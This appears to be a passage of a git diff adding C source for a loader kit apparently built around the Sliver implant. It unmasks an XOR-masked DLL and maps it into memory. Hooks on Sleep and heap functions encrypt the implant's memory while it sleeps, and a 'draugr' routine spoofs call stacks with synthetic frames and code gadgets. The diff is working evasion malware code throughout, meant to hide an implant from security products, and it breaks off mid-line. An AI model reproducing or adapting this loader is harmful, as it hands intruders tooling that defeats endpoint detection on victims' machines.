call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flNewProtect ); + call.args [ 3 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpAddress ); + call.args [ 2 ] = spoof_arg ( dwSize ); + call.args [ 3 ] = spoof_arg ( flNewProtect ); + call.args [ 4 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} + +SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( lpBuffer ); + call.args [ 2 ] = spoof_arg ( dwLength ); + + return ( SIZE_T ) spoof_call ( &call ); +} + +BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpBaseAddress ); + call.args [ 2 ] = spoof_arg ( lpBuffer ); + call.args [ 3 ] = spoof_arg ( nSize ); + call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten ); + + return ( BOOL ) spoof_call ( &call ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/loader.c b/crystal-kit-sliver/loader/src/loader.c new file mode 100644 index 0000000..fc872c5 --- /dev/null +++ b/crystal-kit-sliver/loader/src/loader.c @@ -0,0 +1,140 @@ +#include +#include "loader.h" +#include "memory.h" +#include "tcg.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); +char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); +char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); + +int __tag_setup_hooks ( ); +int __tag_setup_memory ( ); + +typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); +typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); + +void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory ) +{ + DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = NULL; + void * section_dst = NULL; + DWORD section_size = 0; + DWORD new_protect = 0; + DWORD old_protect = 0; + + section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( int i = 0; i < section_count; i++ ) + { + section_dst = dst + section_hdr->VirtualAddress; + section_size = section_hdr->SizeOfRawData; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + /* set new permission */ + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + /* track memory */ + dll_memory->Sections[ i ].BaseAddress = section_dst; + dll_memory->Sections[ i ].Size = section_size; + dll_memory->Sections[ i ].CurrentProtect = new_protect; + dll_memory->Sections[ i ].PreviousProtect = new_protect; + + /* advance to section */ + section_hdr++; + } + + dll_memory->Count = section_count; +} + +void go ( ) +{ + /* populate funcs */ + IMPORTFUNCS funcs; + funcs.LoadLibraryA = LoadLibraryA; + funcs.GetProcAddress = GetProcAddress; + + /* load the pico */ + char * pico_src = GETRESOURCE ( _PICO_ ); + + /* allocate memory for it */ + char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + /* load it into memory */ + PicoLoad ( &funcs, pico_src, pico_code, pico_data ); + + /* make code section RX */ + DWORD old_protect; + KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); + + /* begin tracking memory allocations */ + MEMORY_LAYOUT memory = { 0 }; + + memory.Pico.Data = pico_data; + memory.Pico.Code = pico_code; + + /* call setup_hooks to overwrite funcs.GetProcAddress */ + ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs ); + + /* now load the dll (it's masked) */ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); + RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); + + /* load dll into memory and unmask it */ + char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + for ( int i = 0; i < masked_dll->len; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + LoadDLL ( &dll_data, dll_src, dll_dst ); + + /* track dll's memory */ + memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); + memory.Dll.Size = SizeOfDLL ( &dll_data ); + + ProcessImports ( &funcs, &dll_data, dll_dst ); + fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); + + /* call setup_memory to give PICO the memory info */ + ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory ); + + /* now run the DLL */ + DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); + + /* free the unmasked copy */ + KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); + + entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/loader.h b/crystal-kit-sliver/loader/src/loader.h new file mode 100644 index 0000000..7cfd2c3 --- /dev/null +++ b/crystal-kit-sliver/loader/src/loader.h @@ -0,0 +1,6 @@ +#define GETRESOURCE(x) ( char * ) &x + +typedef struct { + int len; + char value [ ]; +} RESOURCE; diff --git a/crystal-kit-sliver/loader/src/mask.c b/crystal-kit-sliver/loader/src/mask.c new file mode 100644 index 0000000..e621286 --- /dev/null +++ b/crystal-kit-sliver/loader/src/mask.c @@ -0,0 +1,80 @@ +#include +#include "memory.h" + +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); + +char xorkey [ 128 ] = { 1 }; + +void apply_mask ( char * data, DWORD len ) +{ + for ( DWORD i = 0; i < len; i++ ) { + data [ i ] ^= xorkey [ i % 128 ]; + } +} + +BOOL is_writeable ( DWORD protection ) +{ + if ( protection == PAGE_EXECUTE_READWRITE || + protection == PAGE_EXECUTE_WRITECOPY || + protection == PAGE_READWRITE || + protection == PAGE_WRITECOPY ) + { + return TRUE; + } + + return FALSE; +} + +void xor_section ( MEMORY_SECTION * section, BOOL mask ) +{ + if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE ) + { + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) ) + { + section->CurrentProtect = PAGE_READWRITE; + section->PreviousProtect = old_protect; + } + } + + if ( is_writeable ( section->CurrentProtect ) ) { + apply_mask ( section->BaseAddress, section->Size ); + } + + if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect ) + { + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) ) + { + section->CurrentProtect = section->PreviousProtect; + section->PreviousProtect = old_protect; + } + } +} + +void xor_dll ( DLL_MEMORY * region, BOOL mask ) +{ + for ( size_t i = 0; i < region->Count; i++ ) { + xor_section ( ®ion->Sections [ i ], mask ); + } +} + +void xor_heap ( HEAP_MEMORY * heap ) +{ + for ( size_t i = 0; i < heap->Count; i++ ) + { + HEAP_RECORD * record = &heap->Records [ i ]; + + /* these are already RW */ + apply_mask ( record->Address, record->Size ); + } + +} + +void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) +{ + xor_dll ( &memory->Dll, mask ); + xor_heap ( &memory->Heap ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/mask.h b/crystal-kit-sliver/loader/src/mask.h new file mode 100644 index 0000000..9469faf --- /dev/null +++ b/crystal-kit-sliver/loader/src/mask.h @@ -0,0 +1 @@ +void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ); \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/memory.h b/crystal-kit-sliver/loader/src/memory.h new file mode 100644 index 0000000..dd0c569 --- /dev/null +++ b/crystal-kit-sliver/loader/src/memory.h @@ -0,0 +1,37 @@ +#define MAX_HEAP_RECORDS 32 +#define MAX_SECTIONS 16 + +typedef struct { + PVOID Data; + PVOID Code; +} PICO_MEMORY; + +typedef struct { + PVOID Address; + SIZE_T Size; +} HEAP_RECORD; + +typedef struct { + HEAP_RECORD Records [ MAX_HEAP_RECORDS ]; + SIZE_T Count; +} HEAP_MEMORY; + +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + DWORD CurrentProtect; + DWORD PreviousProtect; +} MEMORY_SECTION; + +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + MEMORY_SECTION Sections [ MAX_SECTIONS ]; + SIZE_T Count; +} DLL_MEMORY; + +typedef struct { + PICO_MEMORY Pico; + DLL_MEMORY Dll; + HEAP_MEMORY Heap; +} MEMORY_LAYOUT; \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/pico.c b/crystal-kit-sliver/loader/src/pico.c new file mode 100644 index 0000000..2a40ed3 --- /dev/null +++ b/crystal-kit-sliver/loader/src/pico.c @@ -0,0 +1,198 @@ +#include +#include "memory.h" +#include "mask.h" +#include "spoof.h" +#include "cleanup.h" +#include "tcg.h" + +MEMORY_LAYOUT g_memory; + +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc ( HANDLE, DWORD, LPVOID, SIZE_T ); + +FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) +{ + /* lpProcName may be an ordinal */ + if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) + { + /* just resolve normally */ + return GetProcAddress ( hModule, lpProcName ); + } + + FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); + + /* + * result may still be NULL if + * it wasn't hooked in the spec + */ + if ( result != NULL ) { + return result; + } + + return GetProcAddress ( hModule, lpProcName ); +} + +void setup_hooks ( IMPORTFUNCS * funcs ) +{ + funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; +} + +void setup_memory ( MEMORY_LAYOUT * layout ) +{ + if ( layout != NULL ) { + g_memory = * layout; + } +} + +/* + * throw these hooks in here because + * sharing a global across multiple + * modules is still a bit of a headache + */ + +VOID WINAPI _Sleep ( DWORD dwMilliseconds ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$Sleep ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwMilliseconds ); + + /* + * for performance reasons, only mask + * memory if sleep time is equal to + * or greater than 1 second + */ + + if ( dwMilliseconds >= 1000 ) { + mask_memory ( &g_memory, TRUE ); + } + + spoof_call ( &call ); + + if ( dwMilliseconds >= 1000 ) { + mask_memory ( &g_memory, FALSE ); + } +} + +VOID WINAPI _ExitThread ( DWORD dwExitCode ) +{ + /* free memory */ + cleanup_memory ( &g_memory ); + + /* call the real exit thread */ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwExitCode ); + + spoof_call ( &call ); +} + +LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes ) +{ + LPVOID result = NULL; + + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$HeapAlloc ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( hHeap ); + call.args [ 1 ] = spoof_arg ( dwFlags ); + call.args [ 2 ] = spoof_arg ( dwBytes ); + + result = ( LPVOID ) spoof_call ( &call ); + + /* store a record of this heap allocation */ + + if ( dwBytes >= 256 && result != NULL && g_memory.Heap.Count < MAX_HEAP_RECORDS ) + { + g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result; + g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes; + g_memory.Heap.Count++; + } + + return result; +} + +LPVOID WINAPI _HeapReAlloc ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$HeapReAlloc ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( hHeap ); + call.args [ 1 ] = spoof_arg ( dwFlags ); + call.args [ 2 ] = spoof_arg ( lpMem ); + call.args [ 3 ] = spoof_arg ( dwBytes ); + + LPVOID result = ( LPVOID ) spoof_call ( &call ); + + if ( result ) + { + BOOL found = FALSE; + + for ( int i = 0; i < g_memory.Heap.Count; i++ ) + { + if ( g_memory.Heap.Records [ i ].Address == lpMem ) + { + g_memory.Heap.Records [ i ].Address = result; + g_memory.Heap.Records [ i ].Size = dwBytes; + found = TRUE; + break; + } + } + + if ( !found && dwBytes >= 256 && g_memory.Heap.Count < MAX_HEAP_RECORDS ) + { + g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result; + g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes; + g_memory.Heap.Count++; + } + } + + return result; +} + + +BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$HeapFree ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( hHeap ); + call.args [ 1 ] = spoof_arg ( dwFlags ); + call.args [ 2 ] = spoof_arg ( lpMem ); + + BOOL result = ( BOOL ) spoof_call ( &call ); + + if ( result ) + { + /* remove the right heap record */ + + for ( int i = 0; i < g_memory.Heap.Count; i++ ) + { + if ( g_memory.Heap.Records [ i ].Address == lpMem ) + { + int last = g_memory.Heap.Count - 1; + g_memory.Heap.Records [ i ] = g_memory.Heap.Records [ last ]; + g_memory.Heap.Records [ last ].Address = NULL; + g_memory.Heap.Records [ last ].Size = 0; + g_memory.Heap.Count--; + break; + } + } + } + + return result; +} \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/services.c b/crystal-kit-sliver/loader/src/services.c new file mode 100644 index 0000000..9e0bb9b --- /dev/null +++ b/crystal-kit-sliver/loader/src/services.c @@ -0,0 +1,26 @@ +#include +#include "tcg.h" + +/* for the local loader */ +__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) ); + +/** + * This function is used to locate functions in + * modules that are loaded by default (K32 & NTDLL) + */ +FARPROC resolve ( DWORD mod_hash, DWORD func_hash ) +{ + HANDLE module = findModuleByHash ( mod_hash ); + return findFunctionByHash ( module, func_hash ); +} + +/** + * This function is used to locate functions in + * modules that are loaded by default (K32 & NTDLL) + */ +FARPROC patch_resolve ( char * mod_name, char * func_name ) +{ + HANDLE module = get_module_handle ( mod_name ); + return get_proc_address ( module, func_name ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/spoof.c b/crystal-kit-sliver/loader/src/spoof.c new file mode 100644 index 0000000..011ae27 --- /dev/null +++ b/crystal-kit-sliver/loader/src/spoof.c @@ -0,0 +1,378 @@ +#include +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); +DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); + +#define TEXT_HASH 0xEBC2F9B4 +#define RBP_OP_INFO 0x5 + +typedef struct { + LPCWSTR DllPath; + ULONG Offset; + ULONGLONG TotalStackSize; + BOOL RequiresLoadLibrary; + BOOL SetsFramePointer; + PVOID ReturnAddress; + BOOL PushRbp; + ULONG CountOfCodes; + BOOL PushRbpIndex; +} STACK_FRAME; + +typedef enum { + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE, + UWOP_ALLOC_SMALL, + UWOP_SET_FPREG, + UWOP_SAVE_NONVOL, + UWOP_SAVE_NONVOL_FAR, + UWOP_SAVE_XMM128 = 8, + UWOP_SAVE_XMM128_FAR, + UWOP_PUSH_MACHFRAME +} UNWIND_CODE_OPS; + +typedef unsigned char UBYTE; + +typedef union { + struct { + UBYTE CodeOffset; + UBYTE UnwindOp : 4; + UBYTE OpInfo : 4; + }; + USHORT FrameOffset; +} UNWIND_CODE; + +typedef struct { + UBYTE Version : 3; + UBYTE Flags : 5; + UBYTE SizeOfProlog; + UBYTE CountOfCodes; + UBYTE FrameRegister : 4; + UBYTE FrameOffset : 4; + UNWIND_CODE UnwindCode [ 1 ]; +} UNWIND_INFO; + +typedef struct { + PVOID ModuleAddress; + PVOID FunctionAddress; + DWORD Offset; +} FRAME_INFO; + +typedef struct { + FRAME_INFO Frame1; + FRAME_INFO Frame2; + PVOID Gadget; +} SYNTHETIC_STACK_FRAME; + +typedef struct { + FUNCTION_CALL * FunctionCall; + PVOID StackFrame; + PVOID SpoofCall; +} DRAUGR_FUNCTION_CALL; + +typedef struct { + PVOID Fixup; + PVOID OriginalReturnAddress; + PVOID Rbx; + PVOID Rdi; + PVOID BaseThreadInitThunkStackSize; + PVOID BaseThreadInitThunkReturnAddress; + PVOID TrampolineStackSize; + PVOID RtlUserThreadStartStackSize; + PVOID RtlUserThreadStartReturnAddress; + PVOID Ssn; + PVOID Trampoline; + PVOID Rsi; + PVOID R12; + PVOID R13; + PVOID R14; + PVOID R15; +} DRAUGR_PARAMETERS; + +extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); + +#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) + +void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) +{ + PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); + PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); + + frame->Frame1.ModuleAddress = frame1_module; + frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); + frame->Frame1.Offset = 0x17; + + frame->Frame2.ModuleAddress = frame2_module; + frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); + frame->Frame2.Offset = 0x2c; + + frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); +} + +BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) +{ + IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); + + if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { + return FALSE; + } + + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); + + if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { + return FALSE; + } + + IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); + + for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) + { + DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); + + if ( h == TEXT_HASH ) + { + *virtual_address = section_header[ i ].VirtualAddress; + *size = section_header[ i ].SizeOfRawData; + + return TRUE; + } + } + + return FALSE; +} + +PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) +{ + UNWIND_INFO * unwind_info = NULL; + ULONG unwind_operation = 0; + ULONG operation_info = 0; + ULONG index = 0; + ULONG frame_offset = 0; + + STACK_FRAME stack_frame = { 0 }; + + if ( ! runtime_function ) { + return NULL; + } + + unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); + + while ( index < unwind_info->CountOfCodes ) + { + unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; + operation_info = unwind_info->UnwindCode[ index ].OpInfo; + + /* don't use switch as it produces jump tables */ + if ( unwind_operation == UWOP_PUSH_NONVOL ) + { + stack_frame.TotalStackSize += 8; + + if ( operation_info == RBP_OP_INFO ) + { + stack_frame.PushRbp = TRUE; + stack_frame.CountOfCodes = unwind_info->CountOfCodes; + stack_frame.PushRbpIndex = index + 1; + } + } + else if ( unwind_operation == UWOP_SAVE_NONVOL ) + { + index += 1; + } + else if ( unwind_operation == UWOP_ALLOC_SMALL ) + { + stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); + } + else if ( unwind_operation == UWOP_ALLOC_LARGE ) + { + index += 1; + frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; + + if (operation_info == 0) + { + frame_offset *= 8; + } + else + { + index += 1; + frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); + } + + stack_frame.TotalStackSize += frame_offset; + } + else if ( unwind_operation == UWOP_SET_FPREG ) + { + stack_frame.SetsFramePointer = TRUE; + } + else if ( unwind_operation == UWOP_SAVE_XMM128 ) + { + return NULL; + } + + index += 1; + } + + if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) + { + index = unwind_info->CountOfCodes; + + if ( 0 != ( index & 1 ) ) + { + index += 1; + } + + runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); + return calculate_function_stack_size ( runtime_function, image_base ); + } + + stack_frame.TotalStackSize += 8; + return ( PVOID ) ( stack_frame.TotalStackSize ); +} + +PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) +{ + RUNTIME_FUNCTION * runtime_function = NULL; + DWORD64 image_base = 0; + PUNWIND_HISTORY_TABLE history_table = NULL; + + if ( ! return_address ) { + return NULL; + } + + runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); + + if ( NULL == runtime_function ) { + return NULL; + } + + return calculate_function_stack_size ( runtime_function, image_base ); +} + +PVOID find_gadget( PVOID module ) +{ + BOOL found_gadgets = FALSE; + DWORD text_section_size = 0; + DWORD text_section_va = 0; + DWORD counter = 0; + ULONG seed = 0; + ULONG random = 0; + PVOID module_text_section = NULL; + + PVOID gadget_list [ 15 ] = { 0 }; + + if ( ! found_gadgets ) + { + if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { + return NULL; + } + + module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); + + for ( int i = 0; i < ( text_section_size - 2 ); i++ ) + { + /* x64 opcodes are ff 23 */ + if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) + { + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; + + if ( counter == 15 ) { + break; + } + } + } + + found_gadgets = TRUE; + } + + seed = 0x1337; + random = NTDLL$RtlRandomEx ( &seed ); + random %= counter; + + return gadget_list [ random ]; +} + +ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) +{ + int attempts = 0; + PVOID return_address = NULL; + + DRAUGR_PARAMETERS draugr_params = { 0 }; + + if ( ssn ) { + draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn; + } + + SYNTHETIC_STACK_FRAME frame; + init_frame_info ( &frame ); + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); + draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.BaseThreadInitThunkReturnAddress = return_address; + + if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); + draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.RtlUserThreadStartReturnAddress = return_address; + + if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + do + { + draugr_params.Trampoline = find_gadget ( frame.Gadget ); + draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); + + attempts++; + + if ( attempts > 15 ) { + return ( ULONG_PTR ) ( NULL ); + } + + } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); + + if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { + return ( ULONG_PTR ) ( NULL ); + } + + return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); +} + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ) +{ + /* very inelegant */ + if ( call->argc == 0 ) { + return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 1 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 2 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 3 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 4 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 